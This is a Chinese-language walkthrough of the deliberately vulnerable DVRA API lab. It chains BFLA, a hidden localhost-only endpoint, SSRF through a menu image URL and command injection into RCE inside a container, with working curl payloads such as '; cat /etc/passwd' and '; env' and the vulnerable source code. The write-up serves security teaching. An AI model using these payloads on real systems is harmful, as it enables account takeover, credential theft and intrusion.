Damn Vulnerable RESTaurant:從匿名訪客到容器內 RCE 的完整 API 攻擊鏈
靶機:theowni/Damn-Vulnerable-RESTaurant-API-Game 技術棧:FastAPI + PostgreSQL + SQLAlchemy + JWT,全容器化部署 攻擊鏈:匿名註冊 → BFLA 越權 → SSRF → 帳號接管 → 命令注入 RCE 對應:OWASP API Security Top 10 (2023) 幾乎全餐
TL;DR
這是一台純 API 靶機(沒有前端頁面,只有 JSON 進、JSON 出),官方設定是「從最低權限使用者一路提權到 root,只有一條路」,這篇 writeup 完整記錄我如何從一個匿名訪客,靠七個環環相扣的漏洞,最終在伺服器容器內取得任意命令執行。
整條攻擊鏈的核心不是任何單一的高難度漏洞,而是漏洞鏈(vulnerability chaining):好幾個單獨看「低危」甚至「無害」的缺陷,串起來卻能升級成 critical 等級的完整接管。這正是這台靶機最值得學的地方。
完整殺傷鏈:
- 匿名註冊取得低權限身份
- JWT 情報蒐集,確認 role 存於資料庫而非 token
- BFLA(功能層授權失效) 自我提權為中間權限
- 挖出一支「文件裡藏起來」的隱藏 endpoint
- 該 endpoint 用「來源 IP 是否為 localhost」當授權
- SSRF 借伺服器之手繞過來源檢查,並把機密經回顯管道帶出
- 取得最高權限後,觸發 命令注入(RCE)
0. 環境部署
作者提供兩種模式:Developer(修漏洞的互動遊戲)與 Ethical Hacker(黑箱挖洞)。我們走後者。
git clone https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git
cd Damn-Vulnerable-RESTaurant-API-Game
./start_app.sh
服務預設跑在 http://localhost:8091。FastAPI 慣例提供三個自動生成介面:
- Swagger UI:
/docs - Redoc:
/redoc - OpenAPI spec:
/openapi.json
啟動時日誌會跑三條 Alembic migration,其中 Added reset password fields 與 Added referrals 兩條,是後續 recon 的第一批線索——服務自己在告訴你它有哪些功能模組。
至於啟動時那行error reading bcrypt version的 traceback,可以無視。它前面標了(trapped),是 passlib 1.7.4 撞上 bcrypt 4.x 讀版本號的老問題,雜湊功能完全正常。
1. Recon:把攻擊面攤平
FastAPI 最大的「特色」對攻擊者是禮物:它把完整地圖畫給你。與其在 /docs 手點,不如直接把 spec 榨成一張清單:
curl -s http://localhost:8091/openapi.json | jq -r '
.paths | to_entries[] | .key as $p | .value | to_entries[]
| "\(.key|ascii_upcase)\t\($p)\t\(.value.summary // "")"'
完整 21 支 endpoint 到手後,我按「攻擊面語意」分群:
| 分群 | Endpoint | 攻擊直覺 |
|---|---|---|
| 認證表面 | /token、/register、/reset-password、/reset-password/new-password |
Broken Auth、token 可預測性 |
| 帶物件識別碼 | /orders/{order_id}、/menu/{item_id} |
BOLA(物件層 IDOR) |
| 自己的資源 | /profile(GET/PUT/PATCH)、/orders、/referral-code |
Mass Assignment、過度暴露 |
| 看似特權 | PUT /menu、/admin/stats/disk、/users/update_role |
BFLA、提權 |
有兩支我當下就標紅:PUT /users/update_role(名字直接寫著「改角色狀態」),與 GET /admin/stats/disk(「disk usage」這種數字,程式常常直接呼叫作業系統指令去拿——這是命令注入的經典氣味)。
關鍵認知:純 API、沒有前端,這反而逼你養成正確的肌肉記憶——不看畫面,直接對 API 推理,真實世界大量標的是前後端分離,前端只是一個「可被繞過的客戶端」,前端做的所有檢查(欄位隱藏、按鈕 disable、格式驗證),在 API 層都能直接無視。
在 Swagger 逛一圈可以看到:絕大多數 endpoint 都有鎖(要 token),只有 /register 沒鎖。 這條分界線很重要,但要先破除一個新手誤解:
「有鎖」只代表「要帶合法 token 才理你」(authentication),不代表授權做對了(authorization)。真正的攻擊不是「繞過鎖頭」,而是合法拿到一把低權限鑰匙,然後拿它去開所有的門,看哪些門其實不該為我開。
2. 進場:匿名註冊與一次「有價值的失敗」
/register 是匿名入口。觀察它的 request 與 response schema,冒出第一個實驗點:
request 收 : username, password, phone_number, first_name, last_name
response 吐 : username, phone_number, first_name, last_name, role ← 多了 role
role 出現在回應、卻不在請求 schema 裡。這是典型的 Mass Assignment(API3 / BOPLA) 測試點:schema 是「文件宣稱的契約」,不是「後端實際行為」。文件說只收五個欄位,不代表後端真的只認這五個。於是我手動 curl,故意多塞一個 role:
curl -s -X POST http://localhost:8091/register \
-H 'Content-Type: application/json' \
-d '{
"username": "rou_test",
"password": "Passw0rd!123",
"phone_number": "0900000000",
"first_name": "rou",
"last_name": "test",
"role": "admin"
}'
回應:
{"username":"rou_test","phone_number":"0900000000","first_name":"rou","last_name":"test","role":"Customer"}
它無視我塞的 admin,強制給我 Customer。這條 mass assignment 被擋住了。
但這不是失敗,是有價值的陰性結果——真實挖洞八成的時間都在收集這種結果,把攻擊面一格一格劃掉。更重要的是:我順手拿到了一個合法的 Customer 帳號 rou_test。門票到手,那一大票鎖頭現在有鑰匙了。
3. JWT 拆解:決定整條路線的關鍵情報
登入拿 token(注意 FastAPI 的 /token 吃 form-urlencoded,不是 JSON):
curl -s -X POST http://localhost:8091/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=rou_test&password=Passw0rd!123'
拿到 token 後,先手拆——養成不把 token 貼去線上工具的習慣:
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo # header
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo # payload
{"alg":"HS256","typ":"JWT"}
{"sub":"rou_test","exp":1783665857}
這裡有一個影響整條攻擊路線的發現:payload 裡沒有 role,只有 sub(你是誰)與 exp(何時過期)。
推論很關鍵:token 本身不攜帶權限,它只證明「我是 rou_test」,那麼當我打一支需要高權限的 endpoint 時,後端不可能從 token 判斷我是不是管理員,它一定是拿 sub 回資料庫即時查 role。
這岔出兩條思路:
- 偽造 token(先按下):
alg是HS256(對稱式),經典玩法是爆 secret 後自簽 token,但因為 payload 裡沒有 role 可竄改,偽造成功也頂多冒充成別的 username,價值有限,附帶一提,config.py裡JWT_SECRET_KEY若未設環境變數就走隨機生成、只存在記憶體、每次重啟還會變——這條路 CP 值極低。 - 改資料庫裡的 role(主線):既然權限的真相在 DB,而系統剛好開了一支
PUT /users/update_role專門改這欄位,主攻方向就此浮現。
對稱 vs 非對稱的一課:HS256 用同一把 secret 簽發與驗證,所以「弱 secret 可離線爆破」永遠是它出現在 production 時該試的一項(hashcat -m 16500 或 jwt_tool),RS256 用私鑰簽、公鑰驗,拿到公鑰也簽不出東西,沒有這個弱點,這台雖然用不到,但這個判斷習慣要帶走。4. BFLA:守了門檻,漏了中間層
解剖 PUT /users/update_role,它的 security 欄位只宣告「要帶 token」,沒有任何地方能宣告「要哪種 role」——因為 OpenAPI 的 security 表達不了「要不要是管理員」,那個角色檢查若存在,只能是後端手刻的 if,而它在不在,spec 看不出來,只能實際打一發才知道,這正是 BFLA 必須動手驗證的原因。
body schema UserRoleUpdate 要 username + role——注意它是「改某個我點名的 username」,不是綁死自己,這代表若無授權檢查,我能改任何人的角色。
第一發我賭 Admin,結果是 500 Internal Server Error,因為有 log 上帝視角,直接讀 traceback:
sqlalchemy.exc.DataError: (psycopg2.errors.InvalidTextRepresentation)
invalid input value for enum userrole: "admin"
LINE 1: UPDATE users SET role='admin' WHERE users.id = 7
這行把四件事一次講清楚:
- 授權完全沒擋——請求穿過鎖頭、穿過驗證,一路跑到「對 DB 下 UPDATE」這最後一步,SQL 都幫我組好送到 PostgreSQL 了。
- 死因不是漏洞不存在,是值錯:role 在 DB 是 enum 型別
userrole,只認被定義過的字串。 - 順帶洩漏我的內部 id 是 7。
重要陷阱:500 會掩蓋真實的授權行為,一個崩掉的請求不能拿來當「授權沒擋」的證據——後面會再遇到一次。翻 source 確認 enum 合法值:
grep -rniE "class (User)?Role" app --include=*.py
grep -rniE "Admin|Chef|Employee|Customer" app --include=*.py
結果揭曉一個漂亮的陷阱:
# app/db/models.py
class UserRole(str, enum.Enum):
CHEF = "Chef"
EMPLOYEE = "Employee"
CUSTOMER = "Customer"
這系統的最高權限不叫 Admin,叫 Chef,/admin/stats/disk 那個 admin 只是 URL 路徑字串,不是角色名——差點被路徑名帶偏。
改填 Chef 再送:
{"detail":"Only Chef is authorized to add Chef role!"}
這推翻了一部分假設,而且是好事。 授權檢查其實存在,只是它有針對性:專門守著「升成 Chef」。那換成中間層呢?
curl -s -X PUT http://localhost:8091/users/update_role \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"username":"rou_test","role":"Employee"}'
{"username":"rou_test","role":"Employee"}
中了, 一個 Customer 靠自己的 token 把自己升成了 Employee。
BFLA 的經典教訓:開發者做授權檢查時,腦子裡只想著「保護最高權限」,於是只擋了 Customer→Chef,卻忘了 Customer→Employee 也是越權。看到任何分級權限系統,反射就該是「別只測跳到頂,把每一階都測一遍,守衛往往只顧著守最上面那格」。
驗證新權限實際可用(之前 Customer 打不動的建立菜單,現在通了):
curl -s -X PUT http://localhost:8091/menu \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"rou_test_dish","price":100,"category":"main","description":"test"}'
回 200。同時實錘了 JWT 那個推論:同一顆舊 token、沒有換發,後端卻放行了——因為它拿 sub 回 DB 即時查到我現在是 Employee。
5. 隱藏 Endpoint:security through obscurity 的反例
終點是 Chef,但卡在「只有 Chef 能授予 Chef role」,既然自己升不上去,那就換個目標——奪取系統初始化就種好的那個 Chef 帳號。
從 source 追 settings.CHEF_USERNAME,一鏟子挖到主線核心:
app/config.py:30: CHEF_USERNAME = os.getenv("CHEF_USERNAME", "chef")
app/apis/admin/services/reset_chef_password_service.py ← 一支「重設 chef 密碼」的服務!
app/tests/.../test_admin_service.py:
test_reset_chef_password_unauthorised_returns_403
test_reset_chef_password_from_localhost_returns_200 ← 授權判斷的線索
Chef 帳號叫 chef。而那兩個測試名把授權邏輯洩得一乾二淨:這支重設密碼的 endpoint,授權判斷是看「請求是否來自 localhost」,不是看角色。
讀出完整實作:
# app/apis/admin/services/reset_chef_password_service.py
# it's excluded from the docs to make it more secure ← 註解本人
@router.get("/admin/reset-chef-password", include_in_schema=False)
def get_reset_chef_password(request: Request, db: Session = Depends(get_db)):
client_host = request.client.host
if client_host != "127.0.0.1":
raise HTTPException(403, "Chef password can be reseted only from the local machine!")
characters = string.ascii_letters + string.digits + "!@#$%^&*()_-+=;:[]"
new_password = "".join(secrets.choice(characters) for i in range(32))
update_user_password(db, settings.CHEF_USERNAME, new_password)
return {"password": new_password} ← 生成的密碼直接回傳給呼叫者!
三個致命點:
include_in_schema=False:這支不出現在/openapi.json,難怪前面 21 支清單沒有它,註解還寫「excluded from the docs to make it more secure」——這是 security through obscurity 的教科書反例,藏起來只讓黑箱的人多花點功夫,對真正打進來的人一點防護都沒有,真實世界這種「文件沒列但實際存在」的 endpoint 極多,所以才需要用 ffuf/字典爆 spec 沒列的路徑。- 授權 =
request.client.host != "127.0.0.1":用來源位置當授權。 - 天大的紅利:密碼由伺服器自己生成 32 位隨機值,然後
return {"password": ...}直接回傳。不用自己設密碼、不用管 reset code——只要成功呼叫,它就把新密碼吐給你。
6. SSRF:借伺服器之手,繞過來源檢查
直接打這支,果然 403:
curl -s -i http://localhost:8091/admin/reset-chef-password
# HTTP/1.1 403 Forbidden
# {"detail":"Chef password can be reseted only from the local machine!"}
關鍵技術辨析——這支讀的是 request.client.host,不是 HTTP header。
- 若 code 讀的是 header(
X-Forwarded-For、X-Real-IP…),client 完全可控,塞X-Forwarded-For: 127.0.0.1就繞過,這是最常見的款。 - 但
request.client.host在 Starlette/uvicorn 裡是從實際 TCP 連線的 socket 對端 IP 取的,外部 curl 過去,來源是 Docker bridge 的 gateway IP,塞 header 無效。
要讓來源真的等於 127.0.0.1,本質上得讓封包從伺服器內部發出,這就是 SSRF 的用武之地:
這個伺服器上有沒有某個功能,會「幫你發出一個請求」,而且目標 URL 你能控制?如果有,就叫伺服器去打 http://127.0.0.1:8091/admin/reset-chef-password。伺服器打自己 = 來源就是 127.0.0.1 = 繞過。回頭 grep「伺服器主動發 request」的指紋:
grep -rniE "requests\.(get|post)|httpx|urllib|urlopen" app --include=*.py | grep -iv test
嫌疑犯現形——菜單的圖片功能:
# app/apis/menu/utils.py
def _image_url_to_base64(image_url: str):
response = requests.get(image_url, stream=True) ← 拿你給的 URL 去 GET,無白名單
...
# 建立/更新菜單時:
image_url = menu_item_dict.pop("image_url", None)
if image_url:
db_item.image_base64 = _image_url_to_base64(image_url)
image_url 這個欄位不在 MenuItemCreate 的必填清單,但後端收(又一次「schema 沒明列 ≠ 後端不收」),後端拿它原封不動 requests.get,沒有任何白名單、沒擋內網、沒擋 localhost,而這個請求是 web 容器自己發出的——來源正是容器的 127.0.0.1。
完整繞過鏈條,還有一個絕妙的收尾:
我(外部)打 reset endpoint → 被 127.0.0.1 檢查擋
改叫 menu 的 image_url = http://127.0.0.1:8091/admin/reset-chef-password
→ 伺服器為了「抓圖」自己去 GET 那個 reset URL
→ reset endpoint 看到來源是 127.0.0.1 → 放行 → 生成新密碼
→ reset 回的 {"password":...} 被 menu 當成「圖片內容」
→ menu 把它 base64 編碼存進 image_base64 回傳給我
→ 我 base64 解碼 → 拿到 chef 的新密碼
SSRF 的回傳資料,剛好被「抓圖→存 base64→回傳」這條管道帶了出來。 這台把 SSRF 接在圖片功能上,設計非常精巧。
組裝這一發(此時身份是 Employee,能建菜單):
curl -s -X PUT http://localhost:8091/menu \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"ssrf_pwn","price":1,"category":"main","description":"ssrf",
"image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}' \
| jq -r '.image_base64' | base64 -d; echo
輸出(每次執行密碼皆不同,因為是隨機生成):
{"password":"r#7G85:EOd_bHjdupN]adyAOA8It3wFR"}
為什麼 SSRF 能拿到明文密碼,而不只是「改掉」? 這要分清兩件事:「改密碼」與「知道改成什麼」是不同能力,正常的 reset 流程會把新密碼寄到帳號本人信箱,攻擊者觸發了也看不到,那頂多是 DoS(把 chef 鎖在門外),這支的致命錯在於把生成的密碼直接 return 給發起請求的人,所以完整因果是:SSRF 給你「存取權」(能碰到本來碰不到的內部 endpoint),而那支 endpoint「把 secret 回傳」這個獨立的資訊洩漏缺陷,才把「改密碼」升級成「知道密碼、接管帳號」。兩個洞疊在一起,才有一步登頂。
7. 登頂與命令注入(RCE)
拿 chef + 新密碼登入(密碼含特殊字元,用 --data-urlencode 避免被 shell/URL 吃掉):
CHEF_TOKEN=$(curl -s -X POST http://localhost:8091/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username=chef' \
--data-urlencode 'password=r#7G85:EOd_bHjdupN]adyAOA8It3wFR' \
| jq -r '.access_token')
拆開驗證 {"sub":"chef",...},打開那扇一直鎖著的門:
curl -s -H "Authorization: Bearer $CHEF_TOKEN" http://localhost:8091/admin/stats/disk
{"output":"Filesystem Size Used ... /dev/sdd 1007G 243G 713G 26% /app"}
登頂達成。但那個 "output" key + 逐字 df -h 輸出的格式,是命令執行的指紋,追 source:
# app/apis/admin/utils.py
def get_disk_usage(parameters: str):
command = "df -h " + parameters # ① 字串拼接使用者輸入
result = subprocess.run(command, ..., shell=True) # ② shell=True
# app/apis/admin/services/get_disk_stats_service.py
def get_disk_usage_stats(current_user, parameters: str = "", ...): # ③ parameters 是 query string,可控
if current_user.role != UserRole.CHEF.value: ...
usage = get_disk_usage(parameters)
命令注入三要素一次到齊:使用者輸入字串拼接進指令、shell=True(讓 shell 元字元全部生效)、parameters 是可控的 query string。指令 df -h <輸入>,只要塞一個 ;,就能在後面接自己的指令:
curl -s -G "http://localhost:8091/admin/stats/disk" \
-H "Authorization: Bearer $CHEF_TOKEN" \
--data-urlencode 'parameters=; id' | jq -r '.output'
df 輸出之後多出 uid=...——RCE 實錘。 進一步蒐集:
# 誰、在哪
--data-urlencode 'parameters=; whoami; hostname; pwd'
# 讀任意檔
--data-urlencode 'parameters=; cat /etc/passwd'
# 挖環境變數(真正的寶)
--data-urlencode 'parameters=; env'
env 撈到 DB 完整憑證:
POSTGRES_USER=admin
POSTGRES_PASSWORD=password
POSTGRES_SERVER=db
POSTGRES_PORT=5432
即使跳不出容器,這組憑證已讓我能直連同網段的 PostgreSQL,全庫讀寫——撈所有 password hash、改任何人 role、竄改訂單。
RCE 是漏洞金字塔的頂點:拿到命令執行,其他所有洞都變成註腳。
8. 容器逃逸偵查:一次全陰性的「縱深防禦」課
拿到容器內 RCE,紅隊的標準下一問是「能不能逃逸到宿主?」跑一遍標準 escape checklist:
是不是 container root? 不是,/etc/passwd 顯示服務用 app(uid 1000)跑,非 root,多數經典逃逸需要 container 內 root,這步就卡掉一大半路徑。
Docker socket 有沒有被掛進來?(逃逸頭號捷徑)
--data-urlencode 'parameters=; ls -la /var/run/docker.sock 2>&1'
# ls: cannot access '/var/run/docker.sock': No such file or directory
沒有。
是不是 privileged / 有沒有危險 capability?
--data-urlencode 'parameters=; cat /proc/self/status | grep -i cap; ls -la /dev | head'
# CapEff: 0000000000000000 ← 有效能力全空
# /dev 只有 autofs/core/full 等最小字元裝置,無 /dev/sd* 區塊裝置
CapEff=0 代表這個 process 一個 Linux capability 都沒生效(因為降權跑)。靠 CAP_SYS_ADMIN 之類的逃逸全部用不了。/dev 無區塊裝置 + CapEff=0 → 鐵證非 privileged。
判 privileged 的快速心法:privileged 容器的CapEff會是一長串f(如0000003fffffffff),ls /dev會看到宿主整排區塊裝置(/dev/sda…)。
Mounts 有沒有宿主 bind mount? 只有純淨的 overlay,沒有 /host、/root 之類被掛進來。
結論:這台無法容器逃逸,而這是設計上的正解,不是打得不夠。
我手握容器內 RCE + 服務層完全淪陷(chef、DB 憑證、任意命令),但宿主毫髮無傷,這就是縱深防禦活生生的示範:
容器化是一道有效的防禦邊界,應用層被打穿(RCE)不等於宿主淪陷,一個配置正確的容器(非 root、不掛 socket、非 privileged、無多餘 mount/cap),能把 RCE 的 blast radius 死死圈在容器內,DVRA 示範了一個容器該長的樣子——而真實世界的逃逸機會,永遠來自偏離這個正解的誤配:服務用 root 跑、docker.sock圖方便掛進來、--privileged省事、把宿主目錄 bind mount 進去、過期的 runc(如 CVE-2024-21626),見過「正常長相」的基線,將來才抓得到異常。
完整 Kill Chain
| # | 漏洞 | 位置 | OWASP API 2023 |
|---|---|---|---|
| 1 | 匿名註冊(入口) | POST /register |
— |
| 2 | JWT 不帶 role,權限存 DB | /token 簽發 |
API2 Broken Auth |
| 3 | BFLA / 不完整授權 | PUT /users/update_role |
API5 |
| 4 | 隱藏 endpoint(obscurity) | GET /admin/reset-chef-password |
API9 資產管理不當 |
| 5 | 來源型 access control | 同上,client.host=="127.0.0.1" |
API1 / API5 |
| 6 | SSRF + 資料回顯 | menu.image_url 無白名單 requests.get |
API7 SSRF |
| 7 | 命令注入(RCE) | df -h + parameters,shell=True |
API8 組態錯誤 → RCE |
兩個貫穿全場的元主題:
- 信任邊界的誤置:#3 信任「不是最高權限就沒事」、#5 信任「來源 IP」、#6 信任「image_url 是良性的」。每個洞都是把某個不該信的東西當成可信。
- 漏洞鏈 > 單點:#5 單獨看是「localhost only,低危」,#6 單獨看是「抓圖 SSRF,中危」——串起來卻是 critical 等級的帳號接管。頂級 bug hunter 的報告動輒 critical,不是因為找到更難的單一洞,而是看得見洞與洞之間的接口。
結語
DVRA 把一整套現代 API 攻擊面壓縮進一台小靶機:BOLA/BFLA 的授權缺口、mass assignment 的序列化邊界、SSRF 的位置轉移、命令注入的 RCE,最後用一個配置正確的容器示範了縱深防禦。
最值得帶走的不是任何單一 payload,而是那個思維轉換:把每個漏洞都當成「它改變了什麼前提」的東西,然後去找「還有哪個漏洞的成立,正好依賴我剛剛推翻的那個前提」,漏洞鏈就是這樣長出來的——而這正是把「會打」升華成「會評估、會寫報告、講得清 impact」的分水嶺。
本文為 DVRA 靶機的教學型 writeup,所有操作皆在本機隔離環境進行,切勿對未授權的系統進行任何測試。
Member discussion